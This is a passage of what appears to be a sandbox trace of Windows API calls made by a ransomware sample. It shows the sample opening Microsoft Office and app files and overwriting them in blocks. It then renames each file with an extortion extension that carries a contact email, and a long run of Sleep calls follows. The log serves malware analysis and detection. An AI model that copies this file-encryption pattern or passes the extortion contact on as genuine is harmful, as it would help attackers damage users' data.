lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee2e1f46, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee3a0b07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39660, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="JPEGIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JPEGIM~1.FIR")) returned 0x6d4ec0 [0266.532] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0266.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\jpegim32.flt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0266.533] GetProcessHeap () returned 0x630000 [0266.533] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7377030 [0266.533] GetProcessHeap () returned 0x630000 [0266.533] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7382460 [0266.533] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.533] ReadFile (in: hFile=0x6f4, lpBuffer=0x7377030, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377030*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.821] GetProcessHeap () returned 0x630000 [0274.821] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0274.821] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.821] WriteFile (in: hFile=0x6f4, lpBuffer=0x7382460*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7382460*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.821] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.822] WriteFile (in: hFile=0x6f4, lpBuffer=0x738d85f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x738d85f*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0274.823] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.823] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0274.823] CloseHandle (hObject=0x6f4) returned 1 [0274.823] GetProcessHeap () returned 0x630000 [0274.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7382460 | out: hHeap=0x630000) returned 1 [0274.823] GetProcessHeap () returned 0x630000 [0274.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7377030 | out: hHeap=0x630000) returned 1 [0274.823] GetProcessHeap () returned 0x630000 [0274.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0274.823] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee2e1f46, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69c28efb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x39684, dwReserved0=0xcd87496, dwReserved1=0x7377028, cFileName="JPEGIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JPEGIM~1.FIR")) returned 0x6d4f40 [0274.824] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0274.824] Sleep (dwMilliseconds=0x1) [0274.848] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-72_contrast-black.png", len=0xa2 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-72_contrast-black.png") returned 1 [0274.848] GetProcessHeap () returned 0x630000 [0274.848] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b8c) returned 0x6fe3bb0 [0274.848] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-72_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-72_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.850] Sleep (dwMilliseconds=0x1) [0274.856] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-72_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-72_altform-unplated_contrast-black.png") returned 1 [0274.856] GetProcessHeap () returned 0x630000 [0274.856] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b88) returned 0x6fe3bb0 [0274.856] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-72_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-72_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.857] Sleep (dwMilliseconds=0x1) [0274.879] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-32_contrast-black.png", len=0xa2 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-32_contrast-black.png") returned 1 [0274.879] GetProcessHeap () returned 0x630000 [0274.879] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b5c) returned 0x6fe3bb0 [0274.879] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-32_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-32_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.881] Sleep (dwMilliseconds=0x1) [0274.887] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-30_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-30_altform-unplated_contrast-black.png") returned 1 [0274.887] GetProcessHeap () returned 0x630000 [0274.887] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b50) returned 0x6fe3bb0 [0274.888] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-30_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-30_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.889] Sleep (dwMilliseconds=0x1) [0274.909] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKB.TTF", len=0x44 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKB.TTF") returned 1 [0274.909] GetProcessHeap () returned 0x630000 [0274.909] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b28) returned 0x6fe3bb0 [0274.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKB.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkb.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0274.910] CloseHandle (hObject=0x66c) returned 1 [0274.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0274.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKB.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkb.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKB.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkb.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0274.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKB.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c74cba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c74cba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89690720, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29334, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHLBKB.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHLBK~3.FIR")) returned 0x6d5500 [0274.912] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0274.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKB.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkb.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0274.912] GetProcessHeap () returned 0x630000 [0274.912] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88b8 [0274.913] GetProcessHeap () returned 0x630000 [0274.913] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0274.913] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.913] ReadFile (in: hFile=0x66c, lpBuffer=0x6ee88b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 50 os_tid = 0x125c [0067.523] Sleep (dwMilliseconds=0x1) [0067.537] Sleep (dwMilliseconds=0x1) [0067.554] Sleep (dwMilliseconds=0x1) [0067.654] Sleep (dwMilliseconds=0x1) [0067.663] Sleep (dwMilliseconds=0x1) [0067.678] Sleep (dwMilliseconds=0x1) [0067.695] Sleep (dwMilliseconds=0x1) [0067.709] Sleep (dwMilliseconds=0x1) [0067.726] Sleep (dwMilliseconds=0x1) [0067.740] Sleep (dwMilliseconds=0x1) [0067.764] Sleep (dwMilliseconds=0x1) [0067.771] Sleep (dwMilliseconds=0x1) [0067.790] Sleep (dwMilliseconds=0x1) [0067.931] Sleep (dwMilliseconds=0x1) [0068.039] Sleep (dwMilliseconds=0x1) [0068.151] Sleep (dwMilliseconds=0x1) [0068.278] Sleep (dwMilliseconds=0x1) [0068.400] Sleep (dwMilliseconds=0x1) [0068.494] Sleep (dwMilliseconds=0x1) [0068.543] Sleep (dwMilliseconds=0x1) [0068.700] Sleep (dwMilliseconds=0x1) [0068.745] Sleep (dwMilliseconds=0x1) [0068.794] Sleep (dwMilliseconds=0x1) [0068.841] Sleep (dwMilliseconds=0x1) [0068.886] Sleep (dwMilliseconds=0x1) [0068.932] Sleep (dwMilliseconds=0x1) [0068.978] Sleep (dwMilliseconds=0x1) [0069.045] Sleep (dwMilliseconds=0x1) [0069.107] Sleep (dwMilliseconds=0x1) [0069.157] Sleep (dwMilliseconds=0x1) [0069.200] Sleep (dwMilliseconds=0x1) [0069.247] Sleep (dwMilliseconds=0x1) [0069.295] Sleep (dwMilliseconds=0x1) [0069.376] Sleep (dwMilliseconds=0x1) [0069.437] Sleep (dwMilliseconds=0x1) [0069.481] Sleep (dwMilliseconds=0x1) [0069.524] Sleep (dwMilliseconds=0x1) [0069.686] Sleep (dwMilliseconds=0x1) [0069.921] Sleep (dwMilliseconds=0x1) [0070.144] Sleep (dwMilliseconds=0x1) [0070.265] Sleep (dwMilliseconds=0x1) [0070.380] Sleep (dwMilliseconds=0x1) [0070.536] Sleep (dwMilliseconds=0x1) [0070.874] Sleep (dwMilliseconds=0x1) [0071.564] Sleep (dwMilliseconds=0x1) [0071.939] Sleep (dwMilliseconds=0x1) [0072.424] Sleep (dwMilliseconds=0x1) [0072.604] Sleep (dwMilliseconds=0x1) [0072.802] Sleep (dwMilliseconds=0x1) [0072.952] Sleep (dwMilliseconds=0x1) [0073.102] Sleep (dwMilliseconds=0x1) [0073.605] Sleep (dwMilliseconds=0x1) [0073.778] Sleep (dwMilliseconds=0x1) [0073.975] Sleep (dwMilliseconds=0x1) [0074.081] Sleep (dwMilliseconds=0x1) [0074.186] Sleep (dwMilliseconds=0x1) [0074.379] Sleep (dwMilliseconds=0x1) [0074.673] Sleep (dwMilliseconds=0x1) [0074.770] Sleep (dwMilliseconds=0x1) [0074.851] Sleep (dwMilliseconds=0x1) [0074.906] Sleep (dwMilliseconds=0x1) [0074.999] Sleep (dwMilliseconds=0x1) [0075.061] Sleep (dwMilliseconds=0x1) [0075.105] Sleep (dwMilliseconds=0x1) [0075.158] Sleep (dwMilliseconds=0x1) [0075.215] Sleep (dwMilliseconds=0x1) [0075.265] Sleep (dwMilliseconds=0x1) [0075.303] Sleep (dwMilliseconds=0x1) [0075.363] Sleep (dwMilliseconds=0x1) [0075.426] Sleep (dwMilliseconds=0x1) [0075.514] Sleep (dwMilliseconds=0x1) [0075.567] Sleep (dwMilliseconds=0x1) [0075.613] Sleep (dwMilliseconds=0x1) [0075.697] Sleep (dwMilliseconds=0x1) [0075.745] Sleep (dwMilliseconds=0x1) [0075.792] Sleep (dwMilliseconds=0x1) [0075.831] Sleep (dwMilliseconds=0x1) [0076.048] Sleep (dwMilliseconds=0x1) [0076.059] Sleep (dwMilliseconds=0x1) [0076.087] Sleep (dwMilliseconds=0x1) [0076.103] Sleep (dwMilliseconds=0x1) [0076.190] Sleep (dwMilliseconds=0x1) [0076.387] Sleep (dwMilliseconds=0x1) [0076.534] Sleep (dwMilliseconds=0x1) [0076.674] Sleep (dwMilliseconds=0x1) [0076.777] Sleep (dwMilliseconds=0x1) [0076.806] Sleep (dwMilliseconds=0x1) [0076.846] Sleep (dwMilliseconds=0x1) [0076.868] Sleep (dwMilliseconds=0x1) [0076.924] Sleep (dwMilliseconds=0x1) [0076.982] Sleep (dwMilliseconds=0x1) [0077.072] Sleep (dwMilliseconds=0x1) [0077.152] Sleep (dwMilliseconds=0x1) [0077.222] Sleep (dwMilliseconds=0x1) [0077.289] Sleep (dwMilliseconds=0x1) [0077.360] Sleep (dwMilliseconds=0x1) [0077.412] Sleep (dwMilliseconds=0x1) [0077.521] Sleep (dwMilliseconds=0x1) [0077.597] Sleep (dwMilliseconds=0x1) [0077.649] Sleep (dwMilliseconds=0x1) [0077.689] Sleep (dwMilliseconds=0x1) [0077.736] Sleep (dwMilliseconds=0x1) [0077.782] Sleep (dwMilliseconds=0x1) [0077.833] Sleep (dwMilliseconds=0x1) [0077.856] Sleep (dwMilliseconds=0x1) [0077.912] Sleep (dwMilliseconds=0x1) [0077.957] Sleep (dwMilliseconds=0x1) [0077.982] Sleep (dwMilliseconds=0x1) [0078.062] Sleep (dwMilliseconds=0x1) [0078.090] Sleep (dwMilliseconds=0x1) [0078.120] Sleep (dwMilliseconds=0x1) [0078.132] Sleep (dwMilliseconds=0x1) [0078.195] Sleep (dwMilliseconds=0x1) [0078.221] Sleep (dwMilliseconds=0x1) [0078.240] Sleep (dwMilliseconds=0x1) [0078.251] Sleep (dwMilliseconds=0x1) [0078.274] Sleep (dwMilliseconds=0x1) [0078.284] Sleep (dwMilliseconds=0x1) [0078.316] Sleep (dwMilliseconds=0x1) [0078.358] Sleep (dwMilliseconds=0x1) [0078.381] Sleep (dwMilliseconds=0x1) [0078.448] Sleep (dwMilliseconds=0x1) [0078.531] Sleep (dwMilliseconds=0x1) [0078.564] Sleep (dwMilliseconds=0x1) [0078.610] Sleep (dwMilliseconds=0x1) [0078.627] Sleep (dwMilliseconds=0x1) [0078.645] Sleep (dwMilliseconds=0x1) [0078.659] Sleep (dwMilliseconds=0x1) [0078.676] Sleep (dwMilliseconds=0x1) [0078.711] Sleep (dwMilliseconds=0x1) [0078.718] Sleep (dwMilliseconds=0x1) [0078.741] Sleep (dwMilliseconds=0x1) [0078.751] Sleep (dwMilliseconds=0x1) [0078.773] Sleep (dwMilliseconds=0x1) [0078.781] Sleep (dwMilliseconds=0x1) [0078.843] Sleep (dwMilliseconds=0x1) [0078.891] Sleep (dwMilliseconds=0x1) [0078.929] Sleep (dwMilliseconds=0x1) [0078.943] Sleep (dwMilliseconds=0x1) [0078.961] Sleep (dwMilliseconds=0x1) [0078.976] Sleep (dwMilliseconds=0x1) [0079.005] Sleep (dwMilliseconds=0x1) [0079.029] Sleep (dwMilliseconds=0x1) [0079.051] Sleep (dwMilliseconds=0x1) [0079.078] Sleep (dwMilliseconds=0x1) [0079.100] Sleep (dwMilliseconds=0x1) [0079.114] Sleep (dwMilliseconds=0x1) [0079.131] Sleep (dwMilliseconds=0x1) [0079.157] Sleep (dwMilliseconds=0x1) [0079.226] Sleep (dwMilliseconds=0x1) [0079.248] Sleep (dwMilliseconds=0x1) [0079.271] Sleep (dwMilliseconds=0x1) [0079.284] Sleep (dwMilliseconds=0x1) [0079.302] Sleep (dwMilliseconds=0x1) [0079.313] Sleep (dwMilliseconds=0x1) [0079.332] Sleep (dwMilliseconds=0x1) [0079.345] Sleep (dwMilliseconds=0x1) [0079.363] Sleep (dwMilliseconds=0x1) [0079.375] Sleep (dwMilliseconds=0x1) [0079.400] Sleep (dwMilliseconds=0x1) [0079.414] Sleep (dwMilliseconds=0x1) [0079.425] Sleep (dwMilliseconds=0x1) [0079.445] Sleep (dwMilliseconds=0x1) [0079.519] Sleep (dwMilliseconds=0x1) [0079.540] Sleep (dwMilliseconds=0x1) [0079.549] Sleep (dwMilliseconds=0x1) [0079.598] Sleep (dwMilliseconds=0x1) [0079.613] Sleep (dwMilliseconds=0x1) [0079.627] Sleep (dwMilliseconds=0x1) [0079.644] Sleep (dwMilliseconds=0x1) [0079.658] Sleep (dwMilliseconds=0x1) [0079.678] Sleep (dwMilliseconds=0x1) [0079.693] Sleep (dwMilliseconds=0x1) [0079.735] Sleep (dwMilliseconds=0x1) [0079.805] Sleep (dwMilliseconds=0x1) [0079.811] Sleep (dwMilliseconds=0x1) [0079.835] Sleep (dwMilliseconds=0x1) [0079.886] Sleep (dwMilliseconds=0x1) [0079.900] Sleep (dwMilliseconds=0x1) [0079.913] Sleep (dwMilliseconds=0x1) [0079.935] Sleep (dwMilliseconds=0x1) [0079.988] Sleep (dwMilliseconds=0x1) [0080.046] Sleep (dwMilliseconds=0x1) [0080.072] Sleep (dwMilliseconds=0x1) [0080.083] Sleep (dwMilliseconds=0x1) [0080.101] Sleep (dwMilliseconds=0x1) [0080.135] Sleep (dwMilliseconds=0x1) [0080.162] Sleep (dwMilliseconds=0x1) [0080.172] Sleep (dwMilliseconds=0x1) [0080.239] Sleep (dwMilliseconds=0x1) [0080.259] Sleep (dwMilliseconds=0x1) [0080.270] Sleep (dwMilliseconds=0x1) [0080.284] Sleep (dwMilliseconds=0x1) [0080.302] Sleep (dwMilliseconds=0x1) [0080.314] Sleep (dwMilliseconds=0x1) [0080.344] Sleep (dwMilliseconds=0x1) [0080.360] Sleep (dwMilliseconds=0x1) [0080.385] Sleep (dwMilliseconds=0x1) [0080.391] Sleep (dwMilliseconds=0x1) [0080.411] Sleep (dwMilliseconds=0x1) [0080.425] Sleep (dwMilliseconds=0x1) [0080.443] Sleep (dwMilliseconds=0x1) [0080.501] Sleep (dwMilliseconds=0x1) [0080.528] Sleep (dwMilliseconds=0x1) [0080.554] Sleep (dwMilliseconds=0x1) [0080.562] Sleep (dwMilliseconds=0x1) [0080.588] Sleep (dwMilliseconds=0x1) [0080.600] Sleep (dwMilliseconds=0x1) [0080.620] Sleep (dwMilliseconds=0x1) [0080.655] Sleep (dwMilliseconds=0x1) [0080.678] Sleep (dwMilliseconds=0x1) [0080.705] Sleep (dwMilliseconds=0x1) [0080.721] Sleep (dwMilliseconds=0x1) [0080.766] Sleep (dwMilliseconds=0x1) [0080.786] Sleep (dwMilliseconds=0x1) [0080.806] Sleep (dwMilliseconds=0x1) [0080.818] Sleep (dwMilliseconds=0x1) [0080.837] Sleep (dwMilliseconds=0x1) [0080.846] Sleep (dwMilliseconds=0x1) [0080.889] Sleep (dwMilliseconds=0x1) [0080.917] Sleep (dwMilliseconds=0x1) [0080.923] Sleep (dwMilliseconds=0x1) [0080.941] Sleep (dwMilliseconds=0x1) [0080.958] Sleep (dwMilliseconds=0x1) [0080.977] Sleep (dwMilliseconds=0x1) [0080.990] Sleep (dwMilliseconds=0x1) [0081.003] Sleep (dwMilliseconds=0x1) [0081.026] Sleep (dwMilliseconds=0x1) [0081.036] Sleep (dwMilliseconds=0x1) [0081.050] Sleep (dwMilliseconds=0x1) [0081.286] Sleep (dwMilliseconds=0x1) [0081.433] Sleep (dwMilliseconds=0x1) [0081.521] Sleep (dwMilliseconds=0x1) [0081.540] Sleep (dwMilliseconds=0x1) [0081.561] Sleep (dwMilliseconds=0x1) [0081.583] Sleep (dwMilliseconds=0x1) [0081.598] Sleep (dwMilliseconds=0x1) [0081.614] Sleep (dwMilliseconds=0x1) [0081.627] Sleep (dwMilliseconds=0x1) [0081.666] Sleep (dwMilliseconds=0x1) [0081.681] Sleep (dwMilliseconds=0x1) [0081.693] Sleep (dwMilliseconds=0x1) [0081.708] Sleep (dwMilliseconds=0x1) [0081.759] Sleep (dwMilliseconds=0x1) [0081.775] Sleep (dwMilliseconds=0x1) [0081.791] Sleep (dwMilliseconds=0x1) [0081.831] Sleep (dwMilliseconds=0x1) [0081.850] Sleep (dwMilliseconds=0x1) [0081.884] Sleep (dwMilliseconds=0x1) [0081.894] Sleep (dwMilliseconds=0x1) [0081.909] Sleep (dwMilliseconds=0x1) [0081.927] Sleep (dwMilliseconds=0x1) [0081.941] Sleep (dwMilliseconds=0x1) [0081.968] Sleep (dwMilliseconds=0x1) [0081.986] Sleep (dwMilliseconds=0x1) [0082.003] Sleep (dwMilliseconds=0x1) [0082.035] Sleep (dwMilliseconds=0x1) [0082.051] Sleep (dwMilliseconds=0x1) [0082.068] Sleep (dwMilliseconds=0x1) [0082.113] Sleep (dwMilliseconds=0x1) [0082.131] Sleep (dwMilliseconds=0x1) [0082.152] Sleep (dwMilliseconds=0x1) [0082.198] Sleep (dwMilliseconds=0x1) [0082.211] Sleep (dwMilliseconds=0x1) [0082.236] Sleep (dwMilliseconds=0x1) [0082.255] Sleep (dwMilliseconds=0x1) [0082.280] Sleep (dwMilliseconds=0x1) [0082.291] Sleep (dwMilliseconds=0x1) [0082.312] Sleep (dwMilliseconds=0x1) [0082.367] Sleep (dwMilliseconds=0x1) [0082.421] Sleep (dwMilliseconds=0x1) [0082.537] Sleep (dwMilliseconds=0x1) [0082.592] Sleep (dwMilliseconds=0x1) [0082.633] Sleep (dwMilliseconds=0x1) [0082.688] Sleep (dwMilliseconds=0x1) [0082.725] Sleep (dwMilliseconds=0x1) [0082.780] Sleep (dwMilliseconds=0x1) [0082.818] Sleep (dwMilliseconds=0x1) [0082.873] Sleep (dwMilliseconds=0x1) [0082.913] Sleep (dwMilliseconds=0x1) [0082.971] Sleep (dwMilliseconds=0x1) [0083.012] Sleep (dwMilliseconds=0x1) [0083.058] Sleep (dwMilliseconds=0x1) [0083.100] Sleep (dwMilliseconds=0x1) [0083.154] Sleep (dwMilliseconds=0x1) [0083.197] Sleep (dwMilliseconds=0x1) [0083.247] Sleep (dwMilliseconds=0x1) [0083.289] Sleep (dwMilliseconds=0x1) [0083.341] Sleep (dwMilliseconds=0x1) [0083.382] Sleep 